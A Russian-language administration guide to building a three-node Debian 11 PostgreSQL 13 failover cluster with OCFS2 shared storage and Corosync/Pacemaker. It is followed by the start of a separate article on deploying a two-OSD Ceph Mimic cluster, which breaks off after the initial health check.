  • Pacemaker - 2.0.5
  • Postgresql 13 В статье будет три типа кластеров:
  • кластер файловой системы OCFS2 - обеспечивает хранение файлов на общем диске и согласованную работу с ними
  • кластер Corosync/Pacemaker - обеспечивает отслеживание работы процессов СУБД, запуск виртуального ip-адреса СУБД
  • кластер баз данных Postgresql - набор баз, управляемых одним экземпляром работающего сервера СУБД Подготовка операционных систем Для устойчивой работы кластеров (OCFS2, Pacemaker/Corosync) необходимо как минимум три сервера. Сервера могут быть как физические так и виртуальные. Желательно, чтобы сервера имели одинаковые характеристики производительности. Я для демонстрации подготовил три виртуальные машины с помощью Qemu-KVM. Устанавливаем ОС Debian 11 на каждый из серверов в минимальной конфигурации. Настройка сети В примере у меня будут сервера с адресами:
  • node1 - ip 192.168.1.11
  • node2 - ip 192.168.1.12
  • node3 - ip 192.168.1.13 Имена узлов должны разрешаться в IP-адреса на каждом из серверов, для этого необходимо прописать сопоставление в файле /etc/hosts или создать записи на DNS-сервере. root:~# cat /etc/hosts 127.0.0.1 localhost 192.168.1.11 node1.local node1 192.168.1.12 node2.local node2 192.168.1.13 node3.local node3 В случае реальной реализации кластера, сетевых карт на каждом из серверов должно быть как минимум две - карты необходимо объединить в логическое устройство bonding или teaming. Физически карты должны подключаться к двум независимым коммутаторам. В примере у меня будет по одной сетевой карте на сервер. Настройка сетевого экрана Выполняем настройку экрана на каждом узле:
  • устанавливаем пакет для управления брандмауэром ufw
  • создаём разрешающие правила для ssh, postgres, узлов кластера
  • активируем правила root# apt install ufw root# ufw allow ssh root# ufw allow postgres root# ufw allow from 192.168.1.11 to any root# ufw allow from 192.168.1.12 to any root# ufw allow from 192.168.1.13 to any root# ufw enable Кластер OCFS2 для отслеживания работы узлов по-умолчанию использует протокол TCP порт 7777 (задаётся в файле /etc/ocfs2/cluster.conf), а Corosync - протокол UDP, порт 5405 (задаётся в файле /etc/corosync/corosync.conf), с учётом этого, можно настроить более тонкие правила брандмауэра: root# ufw allow proto tcp from 192.168.1.11 to any port 7777 root# ufw allow proto tcp from 192.168.1.12 to any port 7777 root# ufw allow proto tcp from 192.168.1.13 to any port 7777 root# ufw allow proto udp from 192.168.1.11 to any port 5405 root# ufw allow proto udp from 192.168.1.12 to any port 5405 root# ufw allow proto udp from 192.168.1.13 to any port 5405 Настройка дисковой системы На каждом сервере будет индивидуальный диск для системы (/dev/vda, 20 Гб) и общий диск на все сервера для хранения БД (/dev/vdb, 5 Гб): root# lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 254:0 0 20G 0 disk ├─vda1 254:1 0 512M 0 part /boot/efi ├─vda2 254:2 0 18,5G 0 part / └─vda3 254:3 0 976M 0 part [SWAP] vdb 254:16 0 5G 0 disk /mnt/ocfs2clst Настройка кластерной файловой системы Для реального использования общий диск должен быть расположен на системе хранения данных, и подключатся к серверам по нескольким путям. Для демонстрации общий диск будет реализован с помощью средств Qemu-KVM. Настройка службы кластера ФС OCFS2 Настройка ядра Linux Необходимо изменить параметры ядра, чтобы сервер автоматически перезагружался при сбое кластерной ФС, для это нужно создать файл /etc/sysctl.d/10-ocfs2.conf kernel.panic_on_oops = 1 kernel.panic = 30 После применить параметры: root# systemctl restart systemd-sysctl Данные настройки указывают ядру Linux при возникновении сбоя (когда связь по сети пропала, но узел продолжает запись heartbeat сообщений на общий диск) автоматически перезагрузить узел через 30 секунд. Установка пакетов OCFS2 Устанавливаем пакеты на каждом из узлов root# apt install ocfs2-tools Настройка кластера ФС OCFS2 Все настройки кластера OCFS2 хранятся в файле /etc/ocfs2/cluster.conf. Нужно либо выполнить команды на каждом узле кластера, либо выполнить на одном узле и после скопировать файл /etc/ocfs2/cluster.conf на каждый узел, а после выполнить регистрацию и запуск. Создаём кластер (выполнить на каждом узле кластера) root# o2cb add-cluster ocfs2clst Добавляем узлы в кластер (выполнить на каждом узле кластера), имя узла должно совпадать с тем, что выдаёт команда hostname root# o2cb add-node --ip 192.168.1.11 --port 7777 --number 1 ocfs2clst node1 root# o2cb add-node --ip 192.168.1.12 --port 7777 --number 2 ocfs2clst node2 root# o2cb add-node --ip 192.168.1.13 --port 7777 --number 3 ocfs2clst node3 Регистрируем кластер (выполнить на каждом узле кластера) root# o2cb register-cluster ocfs2clst Включаем кластер (выполнить на каждом узле кластера) root# o2cb start-heartbeat ocfs2clst Выполняем настройку драйвера ФС (обязательно выполнить на каждом узле кластера) root# dpkg-reconfigure ocfs2-tools Запускать кластер OCFS2 (O2CB) во время загрузки компьютера?: Y Имя кластера, запускаемого во время загрузки компьютера: ocfs2clst Настройки драйвера хранятся в файле /etc/default/o2cb Содержимое файла: # O2CB_ENABLED: 'true' means to load the driver on boot. O2CB_ENABLED=true # O2CB_BOOTCLUSTER: If not empty, the name of a cluster to start. O2CB_BOOTCLUSTER=ocfs2clst # O2CB_HEARTBEAT_THRESHOLD: Iterations before a node is considered dead. O2CB_HEARTBEAT_THRESHOLD=31 # O2CB_IDLE_TIMEOUT_MS: Time in ms before a network connection is considered dead. O2CB_IDLE_TIMEOUT_MS=30000 # O2CB_KEEPALIVE_DELAY_MS: Max. time in ms before a keepalive packet is sent. O2CB_KEEPALIVE_DELAY_MS=2000 # O2CB_RECONNECT_DELAY_MS: Min. time in ms between connection attempts. O2CB_RECONNECT_DELAY_MS=2000 Создание ФС OCFS2 Можно создать разделы на кластерном томе и создавать ФС уже на разделе, но это добавит сложностей при расширении тома, так как придётся вручную править границы раздела с помощью parted/fdisk и после расширять ФС. Но у нас кластерный том планируется целиком отдать под работу СУБД Postgresql, поэтому ФС предлагаю создать сразу на всем томе (в примере это диск /dev/vdb). Выполняем форматирование общего тома на одном из узлов: root# mkfs.ocfs2 -L pg-data --cluster-name=ocfs2clst -N 5 -T datafiles --fs-feature-level=max-features --cluster-stack=o2cb /dev/vdb Описание параметров:
  • -L pg-data - метка ФС
  • --cluster-name=ocfs2clst - имя кластера OCFS2, который управляет ФС
  • -N 5 - максимальное количество узлов, которые могут работать одновременно с ФС, позже можно поменять с помощью tunefs.ocfs2, но рекомендуется создавать структуру заранее
  • -T datafiles - тип хранимых данных, может быть mail, datafiles, vmstore
  • --fs-feature-level=max-features - включаем все доступные возможности ФС, т.к. узлы у нас идентичные
  • --cluster-stack=o2cb - используем для управления ФС стандартный стек o2cb Проверяем, что метки новой ФС видны на всех узлах кластера: root# blkid /dev/vdb /dev/vdb: LABEL="pg-data" UUID="ce92b1e7-30cb-4883-9a92-57c986f76acd" BLOCK_SIZE="4096" TYPE="ocfs2" Вывод команды blkid на всех узлах кластера должен совпадать. Выполняем пробное монтирование Монтирование выполняется 20-30 секунд, так как требует согласования по сети. Выполняем команды на всех узлах кластера. root# mkdir /mnt/ocfs2clst root# mount /dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd /mnt/ocfs2clst Команда mounted.ocfs2 показывает на каких узлах смонтирована ФС. root# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node2, node3 Создаём пробные файлы/папки в каталоге /mnt/ocfs2clst на одном из узлов и проверяем, что они видны на остальных узлах кластера OCFS2. Размонтируем ФС на каждом узле: root# umount /mnt/ocfs2clst Расширение ФС OCFS2 Если потребуется увеличить размер хранилища:
  • Увеличиваем размер тома на СХД
  • Пересканируем том на сервере или перезагружаем узлы кластера
  • Расширяем ФС root# tunefs.ocfs2 -S /dev/vdb Добавление узла в кластер OCFS2 Если потребуется добавить ещё узел (например, node4, с ip 192.168.1.14) в кластер OCFS2, то необходимо выполнить команду на каждом узле: root# o2cb_ctl -C -i -n node4 -t node -a number=4 -a ip_address=192.168.1.14 -a ip_port=7777 -a cluster=ocfs2clst Необходимо заметить, что для обеспечения кворума, количество узлов должно быть нечётным. Установка PostgreSQL Устанавливаем пакеты на все узлы кластера: root# apt install postgresql Отключаем службу на каждом узле кластера, т.к. запуском СУБД будет управлять Pacemaker root# systemctl disable postgresql Настройка Pacemaker/Corosync Установка пакетов root# apt install pacemaker corosync crmsh fence-agents Настройка Corosync Служба Corosync обеспечивает обмен сообщениями между узлами кластера, с помощью неё отслеживается, что узлы работают корректно. А уже на основании информации о том какие узлы доступны, служба Pacemaker принимает решение о запуске сервисов (запуск виртуальных ip-адресов, монтирование файловых систем, запуск процессов СУБД). Настройки Corosync хранятся в файле /etc/corosync/corosync.conf. Рабочий пример файла указан ниже: # Please read the corosync.conf.5 manual page totem { version: 2 cluster_name: pgclst crypto_cipher: aes256 crypto_hash: sha256 } logging { fileline: off to_stderr: yes to_logfile: yes logfile: /var/log/corosync/corosync.log to_syslog: yes debug: off logger_subsys { subsys: QUORUM debug: off } } quorum { provider: corosync_votequorum } nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } Включение шифрования сообщений Corosync Для повышения безопасности можно включить шифрование служебных сообщений при обмене между узлами кластера. Для этого на одном из узлов необходимо выполнить команду: root# corosync-keygen Она создаст файл /etc/corosync/authkey, этот файл необходимо скопировать на другие узлы кластера. root@node1:~# scp /etc/corosync/authkey root@node2:/etc/corosync/authkey root@node1:~# scp /etc/corosync/authkey root@node3:/etc/corosync/authkey В файле настроек /etc/corosync/corosync.conf необходимо задать параметры crypto_cipher и crypto_hash в секции totem: totem { ... crypto_cipher: aes256 crypto_hash: sha256 ... } Если вам необходимо разместить файл-ключ по не стандартному пути, то расположение можно указать с помощью директивы keyfile. После изменений необходимо перезапустить службы на каждом узле: root# systemctl restart corosync pacemaker Параметры узлов кластера Corosync Для работы кластера необходимо указать список узлов. Это делается в секции nodelist. nodelist { node { name: node1 nodeid: 1 ring0_addr: 192.168.1.11 } node { name: node2 nodeid: 2 ring0_addr: 192.168.1.12 } node { name: node3 nodeid: 3 ring0_addr: 192.168.1.13 } } После настройки, копируем файл /etc/corosync/corosync.conf на остальные узлы. Перезагружаем все узлы кластера и проверяем работу службы corosync с помощью команд corosync-quorumtool и crm_mon root@node1:~# corosync-quorumtool -s Quorum information ------------------ Date: Thu Jul 14 21:09:17 2022 Quorum provider: corosync_votequorum Nodes: 3 Node ID: 1 Ring ID: 1.139 Quorate: Yes Votequorum information ---------------------- Expected votes: 3 Highest expected: 3 Total votes: 3 Quorum: 2 Flags: Quorate Membership information ---------------------- Nodeid Votes Name 1 1 node1 (local) 2 1 node2 3 1 node3 root@node1:~# crm_mon -1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Thu Jul 14 21:11:18 2022 * Last change: Thu Jul 14 20:24:25 2022 by root via cibadmin on node1 * 3 nodes configured * 0 resource instances configured Node List: * Online: [ node1 node2 node3 ] Настройка Pacemaker Ресурсы Pacemaker описываются через XML-файлы, я вместо ручного написания xml-объектов буду использовать crm (CRM shell), где параметры ресурсов можно задать в виде аргументов. Смена имени кластера Ранее мы создали кластер OCFS2 с именем ocfs2clst, кластер Corosync с именем pgclst, теперь укажем имя кластера Pacemaker. После установки, имя кластера Pacemaker, обычно debian, поменяем его также на pgclst: root# crm_attribute --query --name=cluster-name scope=crm_config name=cluster-name value=debian root# crm_attribute --type crm_config --name cluster-name --update pgclst Параметры по-умолчанию Меняем параметры по-умолчанию для новых ресурсов:
  • resource-stickiness - "липучесть" ресурса к текущему расположению в кластере (по-умолчанию 0), или "стоимость" переноса ресурса на другой узел. При увеличении значения, pacemaker будет стараться восстановить состояние сбойного ресурса на том же узле, при малом значении - предпочтёт восстановить ресурс запуском на других узлах. root# crm_attribute --type rsc_defaults --name resource-stickiness --update 10
  • migration-threshold - кол-во сбоев ресурса на узле, при превышении которого происходит миграция на другой узел root# crm_attribute --type rsc_defaults --name migration-threshold --update 2 Ассиметричный кластер Можно указать, что для запуска каких-либо ресурсов необходимо наличие явного разрешающего правила. Это может понадобиться если не все узлы кластера идентичны по характеристикам: root# crm_attribute -n symmetric-cluster -v false После включения для каждого ресурса будет необходимо создать правила. crm conf location <имя правила> <имя ресурса> <приоритет>: <узел> Например, для ресурса виртуального ip-адреса (ip-pgclst) можно указать, что c приоритетом 100 он будет размещаться на узле node1, с приоритетом 10 - на узле node2, а на узле node3 его запуск будет запрещён (приоритет -infinity ): root~# crm conf crm(live)configure# location loc-ip-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-3 ip-pgclst -inf: node3 Изоляция узлов (stonith) В Pacemaker для каждого узла необходимо указать метод изоляции (fencing) в случае сбоя сетевой доступности. Осуществляется изоляция с помощью stonith ресурсов. Это могут быть программы для отключения питания на UPS, программы, которые подключаются к гипервизору и принудительно завершают работу виртуальной машины (нашего узла кластера) и много других вариантов. Без STONITH устройств Pacemaker откажется запускать ресурсы: root:~# crm_verify -L -V (unpack_resources) error: Resource start-up disabled since no STONITH resources have been defined (unpack_resources) error: Either configure some or disable STONITH with the stonith-enabled option (unpack_resources) error: NOTE: Clusters with shared data need STONITH to ensure data integrity Errors found during check: config not valid Список устройств для изоляции можно узнать из команды: root# stonith_admin --list-installed Параметры, необходимые устройству для работы, можно узнать: root# stonith -t <имя устройста stonith> -n Простейшие stonith ресурсы можно создать так. Ресурс-пустышка dummy - ничего не отключает: root# crm conf primitive sh-dummy stonith:null params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency sh-dummy SSH-stonith - пытается подключиться к сбойному узлу через SSH и запланировать выключение через службу at (должна быть установлена на всех узлах). root# apt install at root# crm conf primitive fence-ssh stonith:ssh params hostlist="192.168.1.11 192.168.1.12 192.168.1.13" root# crm conf clone fency fence-ssh Имитируем сбой на узле node3: root# stonith -t ssh -p "node1 node2 node3" -T reset node3 Для тестирования может понадобится отключение STONITH (НЕ РЕКОМЕНДУЕТСЯ): root~# crm_attribute -n stonith-enabled -v false Очистить ошибки можно командой: root# stonith_admin --cleanup --history=node3 Стоит заметить что, в случае сбоя сети, кроме STONITH устройств, узел кластера может перезагрузить служба OCFS2. Если у какого-либо узла пропадёт связь с другими узлами, но он продолжит посылать heartbeat сообщения на кластерный диск, то через 30 секунд (значение sysctl kernel.panic = 30) этот узел будет перезагружен принудительно. Настройка PostgreSQL для работы под управлением Pacemaker/Corosync Для запуска PostgreSQL необходимо создать три ресурса:
  • Ресурс, который будет монтировать ФС, где расположена БД
  • Ресурс виртуального ip-адреса, по которому будут обращаться клиенты к СУБД
  • Ресурс, запускающий процессы СУБД PostgreSQL После необходимо настроить правила совместного расположения ресурсов и указать порядок запуска. В примере будет созданы ресурсы, обеспечивающие работу экземпляра СУБД. Ресурс, обеспечивающий монтирование ФС с БД Описание ресурса Pacemaker для ФС OCFS2 Ресурс fs-ocfs2 будет монтировать кластерную ФС OCFS2 в каталог /mnt/ocfs2clst на каждом узле. Монтирование будет производится по метке ФС. Том, где расположена БД, у меня имеет UUID метку ce92b1e7-30cb-4883-9a92-57c986f76acd (см. Создание ФС OCFS2). root~# mkdir -p /mnt/ocfs2clst # выполнить на каждом узле root@node1:~# crm conf crm(live/node1)configure# primitive fs-ocfs2 Filesystem \ params device="/dev/disk/by-uuid/ce92b1e7-30cb-4883-9a92-57c986f76acd" \ directory="/mnt/ocfs2clst" \ fstype=ocfs2 options="rw,relatime,commit=5,coherency=buffered" \ op start timeout=60s interval=0 \ op stop timeout=60s interval=0 \ op monitor timeout=40 interval=20 Полный список параметров монтирования можно узнать на странице https://www.kernel.org/doc/html/latest/filesystems/ocfs2.html По-умолчанию, ресурс запускается только на одном узле, но так как у нас ФС кластерная, необходимо запустить ресурс на всех узлах. Это возможно с помощью клона ресурса: crm(live/node1)configure# clone fs-clone-ocfs2 fs-ocfs2 Проверяем конфигурацию и выходим: crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit После создания ресурса, ФС должна автоматически смонтироваться на всех узлах кластера. root@node1:~# mounted.ocfs2 -f Device Stack Cluster F Nodes /dev/vdb o2cb ocfs2clst node1, node3, node2 Правила размещения ресурса на узлах Если указан параметр symmetric-cluster=false, то для запуска ресурсов необходимо указать явные правила, где ресурсы могут запускаться. Указываем, что ресурс кластерной ФС должен запускаться на всех узлах кластера с равным приоритетом 1: root~# crm conf crm(live)configure# location loc-fs-ocfs2-1 fs-clone-ocfs2 1: node1 crm(live)configure# location loc-fs-ocfs2-2 fs-clone-ocfs2 1: node2 crm(live)configure# location loc-fs-ocfs2-3 fs-clone-ocfs2 1: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. Ресурс виртуального ip-адреса Создаём ресурс ip-pgclst виртуального ip-адреса 192.168.1.10. Именно этот ip-адрес будет использовать СУБД для приёма подключений. root~# crm conf crm(live)configure# primitive ip-pgclst IPaddr \ params ip=192.168.1.10 \ op monitor interval=10s Если в атрибутах кластера Pacemaker указан параметр symmetric-cluster=false, то аналогично ресурсу файловой системы создаём правила размещения. Ресурс ip-адреса будет располагаться совместно с СУБД. Если производительность узлов отличается, то можно указать разные приоритеты для запуска. Предположим, что node1 мощнее, чем node2, а node3 вообще исключим для работы СУБД: root~# crm conf crm(live)configure# location loc-ip-pgclst-1 ip-pgclst 100: node1 crm(live)configure# location loc-ip-pgclst-2 ip-pgclst 10: node2 crm(live)configure# location loc-ip-pgclst-3 ip-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно. У меня в примере правила размещения не используются. Ресурс Pacemaker, запускающий процессы СУБД PostgreSQL Инициализация файлов кластера БД PostgreSQL Изменяем владельца и права доступа на каталог с БД: root# chown -R postgres:postgres /mnt/ocfs2clst root# chmod 750 /mnt/ocfs2clst Инициализируем файлы кластера БД PostgreSQL в каталоге /mnt/ocfs2clst/pg-data с включением контроля чётности страниц БД, а после запускаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/initdb -D /mnt/ocfs2clst/pg-data/ -A peer -k postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ start Настройка конфигурации PostgreSQL Подключаемся к СУБД через unix-сокет: root@node1:~# su - postgres postgres@node1:~$ psql Изменяем параметры БД для возможности работы под управлением Pacemaker: psql> alter system set logging_collector=on; psql> alter system lc_messages = 'C.UTF-8'; psql> alter system set listen_addresses='192.168.1.10'; Здесь я включил сборщик сообщений (logging collector), поменял язык сообщений на английский (при работе по Pacemaker, русские сообщения заменялись вопросами) и указал, что СУБД должна принимать соединения только на кластерном ip-адресе. Если потребуется в кластере Pacemaker запустить несколько экземпляров Postgresql, то необходимо разместить unix-сокет СУБД по отдельным каталогам, так как по-умолчанию все экземпляры будут создавать сокет в каталоге /tmp. psql> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-data'; Например, если бы у нас было две БД: СУБД 1, кластерный ip 192.168.1.21, каталог /mnt/ocfs2clst/pg-db1 СУБД 2, кластерный ip 192.168.1.22, каталог /mnt/ocfs2clst/pg-db2 то unix_socket_directories необходимо задать: psql db1> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db1'; psql db2> alter system set unix_socket_directories = '/mnt/ocfs2clst/pg-db2; В дальнейшем для подключения через unix-сокет необходимо указать путь к нему (команду необходимо выполнять на том узле, где работает СУБД): postgres@node1:~$ psql -h /mnt/ocfs2clst/pg-data/ Редактируем файл /mnt/ocfs2clst/pg-data/pg_hba.conf, разрешаем подключение по сети с паролем: ... # IPv4 network connections host all all all md5 ... После внесения настроек, останавливаем СУБД: postgres@node1:~$ /usr/lib/postgresql/13/bin/pg_ctl -D /mnt/ocfs2clst/pg-data/ stop Создание ресурса СУБД PostgreSQL root~# crm configure crm(live/node1)configure# primitive db-pgclst pgsql \ params pgctl="/usr/lib/postgresql/13/bin/pg_ctl" \ psql="/usr/lib/postgresql/13/bin/psql" \ pgdba=postgres \ pglibs="/usr/lib/postgresql/13/lib" \ pgdata="/mnt/ocfs2clst/pg-data" \ socketdir="/mnt/ocfs2clst/pg-data" \ config="/mnt/ocfs2clst/pg-data/postgresql.conf" \ op start timeout=120s interval=0 \ op stop timeout=120s interval=0 \ op monitor timeout=30 interval=30 Значения параметра socketdir в описании ресурса Pacemaker должно совпадать с параметром unix_socket_directories в файле конфигурации PostgreSQL postgresql.conf/postgresql.auto.conf. Правила размещения ресурса на узлах Аналогично ресурсу ip-адреса, если в атрибутах указан параметр symmetric-cluster=false, то создаём правила размещения ресура: root~# crm conf crm(live)configure# location loc-db-pgclst-1 db-pgclst 100: node1 crm(live)configure# location loc-db-pgclst-2 db-pgclst 10: node2 crm(live)configure# location loc-db-pgclst-3 db-pgclst -inf: node3 crm(live)configure# verify crm(live)configure# commit crm(live)configure# quit Если symmetric-cluster=true (или параметр не задан), то создавать правила не обязательно, тогда СУБД сможет запускаться на любом из узлов, при условии, что ресурсу ip-адреса так же разрешен запуск на всех узлах. У меня в примере правила размещения не используются. Правила, описывающие совместное расположение ресурсов Необходимо, чтобы виртуальный ip-адрес и экземпляра СУБД PostgreSQL располагались на одном узле, иначе СУБД не запустится. crm conf colocation <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответствующее правило: root~# crm conf crm(live/node1)configure# colocation col-ip-pgsql inf: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Правила, описывающие порядок запуска ресурсов Необходимо, чтобы ресурс виртуального ip-адреса и ресурс, монтирующий кластерную ФС OCFS2, запускались раньше ресурса СУБД PostgreSQL. crm conf order <имя правила> <приоритет>: <ресурс1> <ресурс2> Для этого создаём соответсвующие правила: root~# crm conf crm(live/node1)configure# order ord-fs-pgsql Mandatory: fs-clone-ocfs2 db-pgclst crm(live/node1)configure# order ord-ip-pgsql Mandatory: ip-pgclst db-pgclst crm(live/node1)configure# verify crm(live/node1)configure# commit crm(live/node1)configure# quit Проверка работы После настройки ресурсов проверяем, что все они запущены с помощью команды crm_mon: root@node1:~# crm_mon -nr1 Cluster Summary: * Stack: corosync * Current DC: node3 (version 2.0.5-ba59be7122) - partition with quorum * Last updated: Sat Jul 16 18:04:00 2022 * Last change: Sat Jul 16 10:52:30 2022 by root via cibadmin on node2 * 3 nodes configured * 8 resource instances configured Node List: * Node node1: online: * Resources: * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * sh-dummy (stonith:null): Started * Node node2: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started * db-pgclst (ocf::heartbeat:pgsql): Started * ip-pgclst (ocf::heartbeat:IPaddr): Started * Node node3: online: * Resources: * sh-dummy (stonith:null): Started * fs-ocfs2 (ocf::heartbeat:Filesystem): Started Inactive Resources: * No inactive resources Из вывода видно, что СУБД запущена на узле node2. Подключимся к нему через ssh и создадим пользователя в Postgresql: user@pc:~$ ssh user@192.168.1.12 user@node2:~$ sudo su - postgres postgres@node2:~$ psql -h /mnt/ocfs2clst/pg-data/ postgres=# create role pguser login encrypted password 'пароль'; postgres=# \q Проверяем подключение к СУБД с клиента: user@pc:~$ psql -h 192.168.1.10 -U pguser postgres postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) С любого узла кластера перемещаем СУБД на другой узел: root@node1:~# crm_resource --move -r db-pgclst -H node1 или с помощью CRM Shell root@node1:~# crm resource move db-pgclst node1 Определяем где запущен ресурс: root@node1:~# crm_resource -W -r db-pgclst resource db-pgclst is running on: node1 Выполняем повторный запрос с клиента: postgres=> select count(*) from pg_settings; FATAL: terminating connection due to administrator command сервер неожиданно закрыл соединение Скорее всего сервер прекратил работу из-за сбоя до или в процессе выполнения запроса. Подключение к серверу потеряно. Попытка восстановления удачна. psql (14.1, сервер 13.7 (Debian 13.7-0+deb11u1)) postgres=> select count(*) from pg_settings; count ------- 308 (1 строка) Как видно, при перемещении ресурса все соединения с СУБД закрылись, но повторный sql-запрос выполнился успешно. Команды перемещения ресуров crm_resource --move или crm resource move на самом делее создают в базе Pacemaker CIB запись: <rsc_location id="cli-prefer-db-pgclst" rsc="db-pgclst" role="Started" node="node1" score="INFINITY"/> Эта запись указывает в дальнейшем запускать ресурс db-pgclst на узле node1. Для того чтобы вернуть возможность запуска ресурса на любом из узлов достаточно выполнить одну из команд: root# crm_resource -r db-pgclst --clear root# crm resource clear db-pgclst Команды управления кластером Pacemaker root# crm_verify -L -V - проверка конфигурации Pacemaker root# crm_mon -rf - отслеживание статуса ресурсов root# crm_resource -W -r db-pgclst - определить расположение ресурса db-pgclst в кластере root# crm node standby - приостановить работу узла root# crm node online - возобновить работу узла root# crm resource status - посмотреть список ресурсов root# crm resource move db-pgclst node2 - мигрировать ресурс ip-pgclst на узел node2 root# crm resource clear db-pgclst - убрать привязку после переноса root# crm resource stop db-pgclst - остановить ресурс db-pgclst root# crm resource start db-pgclst - запустить работу ресурса db-pgclst root# crm resource cleanup db-pgclst или # crm_resource --resource db-pgclst --cleanup - сброс количества ошибок ресурса root# crm configure delete db-pgclst - удаление ресурса root# cibadmin --query > tmp.xml - создать дамп базы Pacemaker CIB
  •  
    ----* История про Ceph и реплику 1+2   Автор: alex  [комментарии]
     
    Обратился как-то знакомый с вопросом можно ли c Ceph реализовать реплику 1+2.
    Было 2 сервера OSD и требовалось сделать хранилище, причём только на запись
    (операции чтения не больше 10 процентов, а 90 процентов это запись). В виду
    горького раннего опыта с данной репликой и файловым Ceph пытался отговорить его
    от этого, но интерес взял своё.
    
    Итак задача звучала так: есть 2xOSD, в каждом 24 HDD диска по 8T и 4 SSD по 400G
    
    Основной задачей было обеспечение надёжности без применения CRUSH Map.
    
    Требовалось: 
    
  • Ceph 2xOSD + 3MON,
  • Ceph: Версия не важно но
  • 1 Обязательно файловая
  • 2 Вынос журналов на SSD, то есть 1 SSD на 6 HDD дисков Железо осмотр: OSD все на intel C610/X99 CPU : 2 x Xeon(R) CPU E5-2620 v4 @ 2.10GHz RAM : 192G DIMM DDR4 M393A4K40BB0-CPB Video: AST1150 ASPEED Technology, Inc. HDD: 2xINTEL SSDSC2BA20 LAN : 2 x 1G I210 (ILO + Управление) LAN : 2 x 82599ES 10-Gigabit SFI/SFP+ Network Connection (на борту) LAN : 2 x MT27520 Family [ConnectX-3 Pro] 40-Gigabit QFP+ Mellanox Technologies Внешний JBOD SAS3008 PCI-Express Fusion-MPT SAS-3 24 x HDD HUH728080AL5204 (HGST) 7452GiB 7200rpm 4 x SDD HUSMM1640ASS204 (HGST) 372GiB Первое что было сделано это обновлены все биосы и прочее, что могло обновляться включая HDD: 2xINTEL SSDSC2BA20 установлен дистрибутив Ubuntu 18.04.1 LTS HDD: 2xINTEL SSDSC2BA20 были объедены в MD зеркало (бортовой аппаратный райд не помог т.к. в итоге система не видела 2 диска как единое блочное устройство) в итоге получилось 1G /boot (MD0) 16G SWAP на каждом диске 170G / также выделил 3 сервера одинаковых для mon и один сервер для настроек с которого собственно и буду все поднимать серверы одинаковые: ProLiant DL360 G5 CPU: 2xIntel(R) Xeon(R) CPU E5420 @ 2.50GHz RAM: 8G HDD: 2x148 на базе аппаратного Smart Array Controller P400i LAN: 2xNetXtreme II BCM5708 Gigabit Ethernet (Broadcom Limited) собрав все в зеркало и установил систему Ceph Подключаем репозиторий. Раз версия не важна то используем Mimic (13.2.0), остальных версий под указанный дистрибутив нет. 1. компьютер установщика: wget -q -O- 'https://download.ceph.com/keys/release.asc' | sudo apt-key add - echo "deb https://download.ceph.com/debian-mimic/ bionic main" > /etc/apt/sources.list.d/ceph.list apt update apt upgrade apt install ceph-common ceph-deploy 2. добавим ключи с машины инсталлятора, чтобы ходить по ssh без пароля 3. определимся с сетью в качестве коммутатора у заказчика Mellanox SX1024 1 12x40G + 48x10G что вполне со слов заказчика достаточно на первое время 2 Dlink 36xx для сети 1G и портом 10G на всякий случай для стыковки с мелланоксом сеть public-network 10.0.0.0/24 cluster-network 10.200.0.0/24 mon01 10.0.0.1/24 mon02 10.0.0.2/24 mon03 10.0.0.3/24 osd01 10G 10.0.0.4/24 40G 10.200.0.4/24 osd02 10G 10.0.0.5/24 40G 10.200.0.5/24 слепил я и оповестил файлы /etc/hosts этими значениями Инсталляция начнём как рекомендуется в документации, с мониторов 1. установим демон точного времени apt install chrony на OSD серверах шлюзов не будет, соответственно настроим сразу получение времени с mon01-03 2. Установим мониторы и сразу MGR ceph-deploy install --mon --release=mimic mon0{1,2,3} ceph-deploy install --mgr --release=mimic mgr0{1,2,3} ceph-deploy install --osd --release=mimic osd0{1,2} 3. Создадим кластер ceph-deploy new --public-network 10.0.0.0/24 mon0{1,2,3} добавим мониторы ceph-deploy mon create mon0{1,2,3} раздадим ключи ceph-deploy gatherkeys mon0{1,2,3} добавим в начальный файл конфигурации mon_allow_pool_delete = true cluster network = 10.200.0.0/24 osd pool default size = 2 osd pool default min size = 1 osd mkfs options xfs = -f -s size=4096 и раздадим его всем cp *.keyring ceph.conf /etc/ceph/ добавим mgr ceph-deploy mgr create mgr0{1,2,3} раздадим и проверим конфигурацию на всех серверах и проверим ceph ceph -s cluster: id: 6dae468a-ac29-4cc6-a3e1-7b2a7247eb5b health: HEALTH_OK services: mon: 3 daemons, quorum mon01,mon02,mon03 mgr: mgr01(active), standbys: mgr02, mgr03
